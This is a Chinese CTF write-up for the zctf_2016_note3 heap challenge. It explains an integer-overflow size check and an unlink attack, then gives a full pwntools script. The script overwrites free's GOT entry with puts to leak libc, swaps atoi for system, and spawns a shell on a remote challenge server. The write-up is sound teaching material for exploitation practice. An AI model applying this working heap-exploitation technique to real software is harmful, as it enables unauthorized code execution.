这个跟note2很相似,仍然是一个unlink问题,,,不同的是没法打印泄露了
详情请参考,note2
查看检查
在IDA里面看,发现其有增加,修改,删除,打印的功能
其中增加的功能:
发现0x6020c0地方存放的是当前堆ptr,0x6020c0[i+8]存放的是其大小
也就是其布局是这样的:cur_ptr | ptr0 | ptr1 | … | ptr6 | cur_size | size_ptr0 | size_ptr…| size_ptr6
在输入size有个函数sub4009b9()中的sub_4008dd()函数中,i被定义为无符号数,所以在做比较的时候会自动向无符号数去转换,最终会导致溢出,其实在note2里面这个问题也存在
并且size只判断了小于0和大于1024的情况,并没有说size=0的情况!!
编辑功能
编辑功能同样用到了sub_4008DD()函数,所以在修改的时候,也存在同样的问题
delete函数
发现清空并且将指针置空了
利用思路,,通过创建多个堆,构建unlink,然后由于无法直接打印,所以考虑将free->put通过free堆块,来打印一些函数地址(这里使用atoi),进而泄露libc,最后在将atoi->system,进而执行shell
首先创建几个堆(我本来一开始是创建了三个,但是后面把堆都free掉了,不会用了,所以又加了两个,要是限制堆的数量不能大于3的话就GG(我太菜了))
content = 'a'*8 + p64(0x61) + p64(fake_fd) + p64(fake_bk) + 'b'*0x40 + p64(0x60) #two chunk
add(0x80,content) #0
add(0,'c'*0x8) #1 alloc 0x20
add(0x80,'b'*16) #2
add(0x20,'a'*8)#3
add(0x20,'a'*8)#3
add(0x20,'a'*8)#3
这的代码是我直接从note2复制过来了,毕竟思想都一样
这个时候在chunk0里面就伪造好了一个chunk,只要后面将chunk,1,2都删掉的话就会发生合并
然后就删掉chunk1-覆盖chunk2-释放chunk2 (unlink)
其代码:
delete(1)
content = 'a' * 16 + p64(0xa0) + p64(0x90)
add(0,content) #4(location 2)
delete(2)
释放之后,申请堆块,仍然会在chunk1的位置,溢出修改chunk2的堆头,修改其prev_size和size
此时ptr地址为:
然后释放chunk2,此时ptr0指向了0x6020b0(ptr-0x18),然后我们就能随意写了
content = 'd'*0x10+p64(free_got)*2+p64(atoi_got)+p64(0)+p64(atoi_got)*3
edit(0,content)
我们就将free等函数地址写入了ptr0中,同时将atoi写入到了ptr3,4,5中;然后要泄露地址的话得需要printf会put
通过如下将put写入到freegot中,
edit(0,p64(puts_plt)[:-1])
delete(3) #== put(atoi_addr)
然后free(3)就相当于把其atoi地址打印出来了
然后同样的方法,将atoi-》system,这时候再输入bin/sh就可以获得shell了
edit(4,p64(system_addr))
p.sendline('/bin/sh\x00')
获得shell
所有代码:
from pwn import *
#p =process('./zctf_2016_note3')
p = remote('node4.buuoj.cn',28583)
note3 = ELF('./zctf_2016_note3')
libc = ELF('./libc.so.6')
#context.log_level='debug'
def add(size,content):
p.recvuntil('>>\n')
p.sendline('1')
p.recvuntil('1024)')
p.sendline(str(size))
p.recvuntil('content:')
p.sendline(content)
def show():
p.recvuntil('>>\n')
p.sendline('2')
def edit(idx,content):
p.recvuntil('>>\n')
p.sendline('3')
p.recvuntil('note:')
p.sendline(str(idx))
p.recvuntil('content:')
p.sendline(content)
def delete(idx):
p.recvuntil('>>\n')
p.sendline('4')
p.recvuntil('note:')
p.sendline(str(idx))
ptr = 0x6020c8
fake_fd = ptr - 0x18 #0x6020b0 p
fake_bk = ptr - 0x10 #0x6020b8
content = 'a'*8 + p64(0x61) + p64(fake_fd) + p64(fake_bk) + 'b'*0x40 + p64(0x60) #two chunk
add(0x80,content) #0
add(0,'c'*0x8) #1 alloc 0x20
add(0x80,'b'*16) #2
add(0x20,'a'*8)#3
add(0x20,'a'*8)#3
add(0x20,'a'*8)#3
delete(1)
content = 'a' * 16 + p64(0xa0) + p64(0x90)
add(0,content) #4(location 2)
delete(2)
free_got = note3.got['free']
atoi_got = note3.got['atoi']
puts_plt = note3.plt['puts']
print ("free_got is :" ,hex(free_got)) #0x602018
print ("atoi_got is ",hex(atoi_got)) #0x602070
print ("puts_plt is ",hex(puts_plt)) #0x400730
content = 'd'*0x10+p64(free_got)*2+p64(atoi_got)+p64(0)+p64(atoi_got)*3
edit(0,content)
edit(0,p64(puts_plt)[:-1])
delete(3) #== put(atoi_addr)
atoi_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success("atoi_addr is "+hex(atoi_addr)) #0x7fd74beaee90
libcbase=atoi_addr - libc.sym['atoi']
system_addr=libcbase+libc.sym['system']
log.success("system_addr is "+hex(system_addr)) #0x7fd74bebd3a0
print(p64(system_addr))
edit(4,p64(system_addr))
p.sendline('/bin/sh\x00')
#gdb.attach(p)
p.interactive()